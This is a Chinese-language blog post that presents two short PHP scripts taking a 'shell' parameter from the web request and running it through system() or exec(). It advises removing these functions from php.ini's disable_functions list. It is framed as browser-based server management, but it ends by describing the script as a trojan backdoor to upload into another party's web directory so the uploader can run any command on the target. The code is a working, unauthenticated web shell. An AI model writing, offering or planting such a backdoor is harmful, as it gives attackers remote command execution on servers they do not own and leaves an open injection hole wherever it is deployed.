网页Linux管理系统——通过网址提交Linux命令，获取执行结果

Posted 2023-03-01 罗四强

目录

网页提交Linux命令

先上效果

 

环境要求

　注意：

　　首先看一下system()和passthru()两个功能类似，可以互换：

　　

　　exec(）的使用示例： 

---

 

·

---

 

 

网页提交Linux命令

在做Linux服务器管理的时候，我们都需要登录到服务器上，来执行命令，获取服务器的相关进程、状态、磁盘空间使用情况等等。

那么我们 可不可以，直接在网页端，通过访问Linux服务器的某个网页管理界面。在浏览器中输入Linux命令，直接在网页上获取命令执行结果呢？

先上效果

直接通过http链接，传入命令参数，执行并返回结果。

 

环境要求

php执行shell命令，可以使用下面几个函数： 

string system ( string $command [, int &$return_var ] )

string exec ( string $command [, array &$output [, int &$return_var ]] )

void passthru ( string $command [, int &$return_var ] )

　注意：

这三个函数在默认的情况下，都是被禁止了的

如果要使用这几个函数，

就要先修改php的配置文件php.ini

查找关键字disable_functions，将这一项中的这几个函数名删除掉

然后注意重启apache。

 

　　首先看一下system()和passthru()两个功能类似，可以互换：

<?php
    #获取网页传递参数
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell, $status);
    echo "</pre>";
    //注意shell命令的执行结果和执行返回的状态值的对应关系
    $shell = "<font color='red'>$shell</font>";
    if( $status )
        echo "shell命令$shell执行失败";
     else 
        echo "shell命令$shell成功执行";
    
?>

 

访问地址，并传递shell参数

http://localhost:81/shell.php?shell=ipconfig

　　注意，system()会将shell命令执行之后，立马显示结果，这一点会比较不方便，因为我们有时候不需要结果立马输出，甚至不需要输出，于是可以用到exec()

　　

 

 

　　exec(）的使用示例： 

<?php
    $shell = $_REQUEST['shell'];
    exec($shell, $result, $status);
    $shell = "<font color='red'>$shell</font>";
    echo "<pre>";
    if( $status )
        echo "shell命令$shell执行失败";
     else 
        echo "shell命令$shell成功执行, 结果如下<hr>";
        print_r( $result );
    
    echo "</pre>";
?>

exec()执行shell命令成功，但是并不返回结果，需要使用输出命令，输出$result结果

 

作为木马小后门，上传到对方服务器下的网站目录下，访问该地址，就可以在靶机上执行你想执行的命令，并且拿到回显结果。